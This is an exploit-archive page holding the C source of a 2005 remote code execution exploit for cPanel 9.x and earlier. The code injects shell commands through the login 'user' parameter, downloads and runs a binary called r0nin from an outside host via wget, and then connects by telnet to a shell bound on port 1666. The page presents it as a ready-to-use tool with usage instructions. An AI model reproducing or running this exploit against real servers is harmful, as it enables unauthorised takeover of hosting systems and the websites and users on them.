what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cpan.c

cpan.c
Posted Aug 12, 2005
Authored by PakBraiN

Remote code execution exploit for cPanel versions 9.x and below that binds a shell to port 1666.

tags | exploit, remote, shell, code execution
SHA-256 | aaf90668dff66a551d8b4f647e0e60c86fcce644a7ba3f2704c85d8761c9bf22

cpan.c

Change Mirror Download
/* Remote Exploit for Cpanel <= 9.x, by PakBraiN from WHACKERZ cr3w */
/* op3ns a sh3ll on port 1666 */
/* Gr33tz to WHACKERZ CREW , MianWalian , Apocalypse , ch33ta , Saudia_Hacker , MelHacker , Fady911x , iced_rose , FBH , AIC */
/* any questions or suggestions mailto webmaster@whackers.zzn.com */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 2082

char hack[] = "GET /login/?user=|%22%60cd /opt;wget http://www.spweather.com/whackerz/r0nin;"
"chmod 777 r0nin;./r0nin%60%22|\r";

int main(int argc, char *argv[]) {

char shell[BUFSIZ];
int sock;
struct sockaddr_in remote;

if(argc != 2) {
printf("\nCPanel <= 9.x Remote Exploit, by PakBraiN\n\n");
printf("Usage: %s <ip>\n\n", argv[0]);
return 0; }

if(argc == 2) {

printf("\nCPanel <= 9.x Remote Exploit, by PakBraiN\n");

remote.sin_family = AF_INET;
remote.sin_port = htons(PORT);
remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\nERROR: Socket()\n\n");
return -1; }

if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) {
printf("\nERROR: Connect()\n\n");
return -1; }

if(send(sock,&hack, sizeof(hack), 0) < 0) {
printf("\nERROR: Send()\n\n");
return -1; }

printf("\nExploit Sent! Closing socket and sleeping for 5 seconds...\n");

close(sock);
sleep(5);

printf("\nDone! Connecting to %s for shell...\n\n", argv[1]);

sprintf(shell, "telnet %s 1666", argv[1]);
system(shell);
printf("\n"); }

return 0; }
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close